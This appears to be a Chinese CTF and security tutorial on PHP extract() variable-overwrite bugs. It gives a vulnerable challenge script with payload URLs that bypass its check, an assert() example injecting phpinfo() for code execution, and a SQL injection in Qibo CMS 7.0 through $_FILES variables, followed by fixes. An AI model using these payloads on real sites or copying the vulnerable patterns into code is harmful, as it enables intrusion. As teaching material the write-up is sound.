extract()函数使用参考
http://www.w3school.com.cn/php/func_array_extract.asp
漏洞产生原因:
Copy extract()函数当只有一个参数时,默认的第二参数是:EXTR_OVERWRITE,如果有变量发生冲突,则覆盖已有的变量。
参考代码:
Copy <? php
$flag = 'xxx' ;
extract ( $_GET ) ;
if ( isset ( $shiyan ) )
{
$content = trim ( file_get_contents ( $flag )) ;
if ($shiyan == $content)
{
echo 'flag{xxx}' ;
}
else
{
echo 'Oh.no' ;
}
}
?>
我们大体上分析一下代码逻辑,使用get方式获取一个值,然后使用extract方法使他变成一个变量,然后判断是否已经声明了$shiyan这个变量名,若未声明则输出‘Oh.no’,若已经声明,则使用file_get_contents方法将$flag的值转换为字符串,然后使用trim方法去除字符串两侧的空白字符或其他预定义字符,然后判断$shiyan的值是不是==$content的值,若等于,则输出flag
在之前我们已经说过,extract()函数当只有一个参数时,默认的第二参数是:EXTR_OVERWRITE,如果有变量发生冲突,则覆盖已有的变量。而在php中null == "string" --> true
所以我们现在需要解决的问题就是:
if(isset($shiyan)) --> TRUE
if($shiyan==$content) --> TRUE
先给出最后的payload:
Copy http://123.206.87.240:9009/1.php?shiyan=
http://123.206.87.240:9009/1.php?shiyan=&flag=
http://123.206.87.240:9009/1.php?shiyan=&content=
http://123.206.87.240:9009/1.php?shiyan
http://123.206.87.240:9009/1.php?shiyan&flag
http://123.206.87.240:9009/1.php?shiyan&content
http://123.206.87.240:9009/1.php?shiyan=999&flag=data://,999
因为我们知道,最基本的条件就是需要一个变量$shiyan才能进行下面的操作,所以我们最基本的就是传入一个$shiyan变量。
以第一个payload为例:
Copy http://123.206.87.240:9009/1.php?shiyan=
http://123.206.87.240:9009/1.php?shiyan
此时就相当于传入了一个值为null的变量$shiyan,而null==string,所以可以输出flag
第二个payload:
Copy http://123.206.87.240:9009/1.php?shiyan=&flag=
http://123.206.87.240:9009/1.php?shiyan&flag
此时就相当于传入了一个值为null的变量$shiyan和一个值为null的变量$flag,而传入的flag又会覆盖掉本来存在的$flag,使得$content的值=null,所以可以输出flag
第三个payload:
Copy http://123.206.87.240:9009/1.php?shiyan=&content=
http://123.206.87.240:9009/1.php?shiyan&content
这个跟第二个同理,只是这个覆盖了$content的值,使得$content的值=null,所以可以输出flag
第四个请自行思考。
另一个例子:
Copy extract ( $_POST ) ;
function goAway () {
error_log ( "Hacking attempt." ) ;
header ( 'Location: /error/' ) ;
}
if ( ! isset ( $pi ) || ! is_numeric ( $pi ) ) {
goAway () ;
}
if ( ! assert ( "(int)$pi == 3" ) ) {
echo "This is not pi." ;
} else {
echo "This might be pi." ;
}
这个很明显就是存在一个变量覆盖漏洞,如我们传入一个?pi=phpinfo();进去,就会导致任意代码执行。
齐博cms7.0分析
具体分析地址:
http://security.alibaba.com/blog/blog.htm?spm=0.0.0.0.96tpib&id=13
漏洞的原因就是 inc/common.inc.php 中的这一段代码:
Copy if ( ! ini_get ( 'register_globals' ) ){
@ extract ( $_FILES , EXTR_SKIP ) ;
}
这段代码的含义就是把 php接收到的$_Files 请求的数组转换成一些变量。而我们知道,这些变量是不会经过魔术引号的转义的。 再看 member/comment.php 这个文件,如下代码:
Copy if ($job == 'del' ){
foreach ( $cidDB AS $key => $value){
$rs = $db -> get_one ( " SELECT aid FROM {$pre}comment WHERE cid = '$value'" ) ;
$erp = get_id_table ( $rs[aid] ) ;
$rsdb=$db->get_one("SELECT C.cid,C.uid AS commentuid,C.aid,A.uid,A.fid FROM {$pre}comment C LEFT JOIN {$pre}article$erp A ON C.aid=A.aid WHERE C.cid='$value'");
if ($rsdb[uid] == $lfjuid || $rsdb[commentuid] == $lfjuid || $web_admin || in_array ( $rsdb[fid] , $fiddb ) ){
$db -> query ( " DELETE FROM {$pre}comment WHERE cid = '$rsdb[ cid ]'" ) ;
}
$db -> query ( " UPDATE {$pre}article$erp SET comments = comments - 1 WHERE aid = '$rsdb[ aid ]'" ) ;
}
refreshto ( "$FROMURL" , "删除成功" , 0 ) ;
}
其中 $cidDB 这个变量本应该是从URL里面通过get方式获取的留言的id ,然后拼到sql语句里面执行sql的。
但是因为 comment.php引用了common.inc.php,并且$cidDB并没有初始化,所以这边我们可以用 $_Files里面的变量去直接给 $cidDB 赋值,并且没有转义。
构造poc:
然后将我们的payload命名为文件名即可。
修复
1、设置register_globals=OFF
2、在调用extract()时使用EXTR_SKIP